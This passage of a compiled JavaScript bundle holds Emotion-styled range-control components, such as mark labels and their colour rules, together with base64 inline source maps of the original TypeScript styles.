dCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0ICBgXG5cdFx0OiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYiA9IHN0eWxlZC5zcGFuPCBUaHVtYlByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRoZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IDA7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uWFNtYWxsIH07XG5cblx0JHsgdGh1bWJDb2xvciB9O1xuXHQkeyB0aHVtYkZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRSYW5nZSA9IHN0eWxlZC5pbnB1dGBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAxMDAlO1xuXHRsZWZ0OiAwO1xuXHRtYXJnaW46IDAgLSR7IHRodW1iU2l6ZSAvIDIgfXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5cdHdpZHRoOiBjYWxjKCAxMDAlICsgJHsgdGh1bWJTaXplIH1weCApO1xuYDtcblxuY29uc3QgdG9vbHRpcFNob3cgPSAoIHsgc2hvdyB9OiBUb29sdGlwUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0ZGlzcGxheTogJHsgc2hvdyA/ICdpbmxpbmUtYmxvY2snIDogJ25vbmUnIH07XG5cdFx0b3BhY2l0eTogJHsgc2hvdyA/IDEgOiAwIH07XG5cblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246XG5cdFx0XHRcdG9wYWNpdHkgMTIwbXMgZWFzZSxcblx0XHRcdFx0ZGlzcGxheSAxMjBtcyBlYXNlIGFsbG93LWRpc2NyZXRlO1xuXHRcdH1cblxuXHRcdEBzdGFydGluZy1zdHlsZSB7XG5cdFx0XHRvcGFjaXR5OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmNvbnN0IHRvb2x0aXBQbGFjZW1lbnQgPSAoIHsgcGxhY2VtZW50IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0Y29uc3QgaXNCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */"));
30736 var markLabelFill = ({
30737 isFilled
30738 }) => {
30739 return /* @__PURE__ */ css({
30740 color: isFilled ? COLORS.theme.gray[700] : COLORS.theme.gray[300]
30741 }, false ? "" : ";label:markLabelFill;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQTRKUSIsImZpbGUiOiJyYW5nZS1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQ09MT1JTLCBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5pbXBvcnQgdHlwZSB7XG5cdFJhbmdlTWFya1Byb3BzLFxuXHRSYWlsUHJvcHMsXG5cdFRodW1iUHJvcHMsXG5cdFRvb2x0aXBQcm9wcyxcblx0VHJhY2tQcm9wcyxcblx0V3JhcHBlclByb3BzLFxuXHRSYW5nZUNvbnRyb2xQcm9wcyxcbn0gZnJvbSAnLi4vdHlwZXMnO1xuXG5jb25zdCByYW5nZUhlaWdodFZhbHVlID0gMzA7XG5jb25zdCByYWlsSGVpZ2h0ID0gNDtcbmNvbnN0IHJhbmdlSGVpZ2h0ID0gKCkgPT5cblx0Y3NzKCB7IGhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSwgbWluSGVpZ2h0OiByYW5nZUhlaWdodFZhbHVlIH0gKTtcbmNvbnN0IHRodW1iU2l6ZSA9IDEyO1xuXG5jb25zdCBkZXByZWNhdGVkSGVpZ2h0ID0gKCB7XG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+ICkgPT5cblx0ISBfX25leHQ0MHB4RGVmYXVsdFNpemUgJiYgY3NzKCB7IG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5cbnR5cGUgUm9vdFByb3BzID0gUGljazwgUmFuZ2VDb250cm9sUHJvcHMsICdfX25leHQ0MHB4RGVmYXVsdFNpemUnID47XG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZC5kaXY8IFJvb3RQcm9wcyA+YFxuXHQtd2Via2l0LXRhcC1oaWdobGlnaHQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdHBhZGRpbmc6IDA7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dG91Y2gtYWN0aW9uOiBub25lO1xuXHR3aWR0aDogMTAwJTtcblx0bWluLWhlaWdodDogNDBweDtcblx0LyogVE9ETzogcmVtb3ZlIGFmdGVyIHJlbW92aW5nIHRoZSBfX25leHQ0MHB4RGVmYXVsdFNpemUgcHJvcCAqL1xuXHQkeyBkZXByZWNhdGVkSGVpZ2h0IH07XG5gO1xuXG5jb25zdCB3cmFwcGVyQ29sb3IgPSAoIHsgY29sb3IgPSBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTogV3JhcHBlclByb3BzICkgPT5cblx0Y3NzKCB7IGNvbG9yIH0gKTtcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQoICdkaXYnLCB7XG5cdHNob3VsZEZvcndhcmRQcm9wOiAoIHByb3A6IHN0cmluZyApID0+XG5cdFx0ISBbICdjb2xvcicsICdtYXJrcycgXS5pbmNsdWRlcyggcHJvcCApLFxufSApPCBXcmFwcGVyUHJvcHMgPmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cblx0JHsgd3JhcHBlckNvbG9yIH07XG5cdCR7IHJhbmdlSGVpZ2h0IH07XG5gO1xuXG5leHBvcnQgY29uc3QgQmVmb3JlSWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5SaWdodDogNiB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFmdGVySWNvbldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogZmxleDsgLy8gZW5zdXJlcyB0aGUgaGVpZ2h0IGlzbid0IGFmZmVjdGVkIGJ5IGxpbmUtaGVpZ2h0XG5cdG1hcmdpbi10b3A6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA2IH0gKSB9XG5gO1xuXG5jb25zdCByYWlsQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCByYWlsQ29sb3IgfTogUmFpbFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHRcdDogcmFpbENvbG9yIHx8IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFJhaWwgPSBzdHlsZWQuc3BhbmBcblx0bGVmdDogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHJpZ2h0OiAwO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSByYWlsSGVpZ2h0ICkgLyAyIH1weDtcblx0dG9wOiAwO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXG5cdCR7IHJhaWxCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmNvbnN0IHRyYWNrQmFja2dyb3VuZENvbG9yID0gKCB7IGRpc2FibGVkLCB0cmFja0NvbG9yIH06IFRyYWNrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IHRyYWNrQ29sb3IgfHwgJ2N1cnJlbnRDb2xvcicgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUcmFjayA9IHN0eWxlZC5zcGFuYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzRnVsbCB9O1xuXHRoZWlnaHQ6ICR7IHJhaWxIZWlnaHQgfXB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblxuXHQuaXMtbWFya2VkICYge1xuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjogd2lkdGggZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRyYWNrQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgTWFya3NXcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHR3aWR0aDogMTAwJTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdG1hcmdpbi10b3A6IDE3cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgTWFyayA9IHN0eWxlZC5zcGFuYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdGxlZnQ6IDA7XG5cdHRvcDogLTRweDtcblx0aGVpZ2h0OiA0cHg7XG5cdHdpZHRoOiAycHg7XG5cdHRyYW5zZm9ybTogdHJhbnNsYXRlWCggLTUwJSApO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHR6LWluZGV4OiAxO1xuYDtcblxuY29uc3QgbWFya0xhYmVsRmlsbCA9ICggeyBpc0ZpbGxlZCB9OiBSYW5nZU1hcmtQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGNvbG9yOiBpc0ZpbGxlZCA/IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSA6IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IE1hcmtMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDMwMCBdIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDhweDtcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblxuXHQkeyBydGwoIHsgbGVmdDogMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggLTUwJSApJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNTAlICknIH1cblx0KSB9O1xuXG5cdCR7IG1hcmtMYWJlbEZpbGwgfTtcbmA7XG5cbmNvbnN0IHRodW1iQ29sb3IgPSAoIHsgZGlzYWJsZWQgfTogVGh1bWJQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudGhlbWUuZ3JheVsgNDAwIF1cblx0XHRcdDogQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWQgPyAnR3JheVRleHQnIDogJ0NhbnZhc1RleHQnIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRoZWlnaHQ6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSB0aHVtYlNpemUgKSAvIDIgfXB4O1xuXHRvdXRsaW5lOiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHR3aWR0aDogJHsgdGh1bWJTaXplIH1weDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdHotaW5kZXg6IDM7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IGxlZnQgZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRodW1iQ29sb3IgfTtcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IC0xMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNC41cHggKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC00LjVweCApJyB9XG5cdCkgfTtcbmA7XG5cbmNvbnN0IHRodW1iRm9jdXMgPSAoIHsgaXNGb2N1c2VkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBpc0ZvY3VzZWRcblx0XHQ/IGNzc2Bcblx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRjb250ZW50OiAnICc7XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdFx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdFx0XHRcdFx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgKyA4IH1weDtcblx0XHRcdFx0XHR3aWR0aDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0dG9wOiAtNHB4O1xuXHRcdFx0XHRcdGxlZnQ6IC00cHg7XG5cblx0XHRcdFx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kOiBHcmF5VGV4dDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHQgIGBcblx0XHQ6ICcnO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iID0gc3R5bGVkLnNwYW48IFRodW1iUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdGhlaWdodDogMTAwJTtcblx0b3V0bGluZTogMDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaGFkb3c6ICR7IENPTkZJRy5lbGV2YXRpb25YU21hbGwgfTtcblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHRodW1iRm9jdXMgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJbnB1dFJhbmdlID0gc3R5bGVkLmlucHV0YFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRjdXJzb3I6IHBvaW50ZXI7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRoZWlnaHQ6IDEwMCU7XG5cdGxlZnQ6IDA7XG5cdG1hcmdpbjogMCAtJHsgdGh1bWJTaXplIC8gMiB9cHg7XG5cdG9wYWNpdHk6IDA7XG5cdG91dGxpbmU6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0cmlnaHQ6IDA7XG5cdHRvcDogMDtcblx0d2lkdGg6IGNhbGMoIDEwMCUgKyAkeyB0aHVtYlNpemUgfXB4ICk7XG5gO1xuXG5jb25zdCB0b29sdGlwU2hvdyA9ICggeyBzaG93IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRkaXNwbGF5OiAkeyBzaG93ID8gJ2lubGluZS1ibG9jaycgOiAnbm9uZScgfTtcblx0XHRvcGFjaXR5OiAkeyBzaG93ID8gMSA6IDAgfTtcblxuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjpcblx0XHRcdFx0b3BhY2l0eSAxMjBtcyBlYXNlLFxuXHRcdFx0XHRkaXNwbGF5IDEyMG1zIGVhc2UgYWxsb3ctZGlzY3JldGU7XG5cdFx0fVxuXG5cdFx0QHN0YXJ0aW5nLXN0eWxlIHtcblx0XHRcdG9wYWNpdHk6IDA7XG5cdFx0fVxuXHRgO1xufTtcblxuY29uc3QgdG9vbHRpcFBsYWNlbWVudCA9ICggeyBwbGFjZW1lbnQgfTogVG9vbHRpcFByb3BzICkgPT4ge1xuXHRjb25zdCBpc0JvdHRvbSA9IHBsYWNlbWVudCA9PT0gJ2JvdHRvbSc7XG5cblx0aWYgKCBpc0JvdHRvbSApIHtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0Ym90dG9tOiAtODAlO1xuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdHRvcDogLTgwJTtcblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sdGlwID0gc3R5bGVkLnNwYW48IFRvb2x0aXBQcm9wcyA+YFxuXHRiYWNrZ3JvdW5kOiByZ2JhKCAwLCAwLCAwLCAwLjggKTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGNvbG9yOiB3aGl0ZTtcblx0Zm9udC1zaXplOiAxMnB4O1xuXHRtaW4td2lkdGg6IDMycHg7XG5cdHBhZGRpbmc6IDRweCA4cHg7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRleHQtYWxpZ246IGNlbnRlcjtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cblx0JHsgdG9vbHRpcFNob3cgfTtcblxuXHQkeyB0b29sdGlwUGxhY2VtZW50IH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTUwJSknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDUwJSknIH1cblx0KSB9XG5gO1xuXG4vLyBAdG9kbyBSZWZhY3RvciBSYW5nZUNvbnRyb2wgd2l0aCBsYXRlc3QgSFN0YWNrIGNvbmZpZ3VyYXRpb25cbi8vIEBzZWU6IHBhY2thZ2VzL2NvbXBvbmVudHMvc3JjL2gtc3RhY2tcbmV4cG9ydCBjb25zdCBJbnB1dE51bWJlciA9IHN0eWxlZCggTnVtYmVyQ29udHJvbCApYFxuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdGZvbnQtc2l6ZTogMTNweDtcblx0bWFyZ2luLXRvcDogMDtcblxuXHRpbnB1dFt0eXBlPSdudW1iZXInXSYge1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogYCR7IHNwYWNlKCA0ICkgfSAhaW1wb3J0YW50YCB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFjdGlvblJpZ2h0V3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLXRvcDogMDtcblxuXHRidXR0b24sXG5cdGJ1dHRvbi5pcy1zbWFsbCB7XG5cdFx0bWFyZ2luLWxlZnQ6IDA7XG5cdFx0JHsgcmFuZ2VIZWlnaHQgfTtcblx0fVxuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA4IH0gKSB9XG5gO1xuIl19 */");
30742 };
30743 var MarkLabel = /* @__PURE__ */ createStyled("span", false ? {
30744 target: "e1epgpqk6"
30745 } : {
30746 target: "e1epgpqk6",
30747 label: "MarkLabel"
30748 })("color:", COLORS.theme.gray[300], ";font-size:11px;position:absolute;top:8px;white-space:nowrap;", rtl({
30749 left: 0
30750 }), ";", rtl({
30751 transform: "translateX( -50% )"
30752 }, {
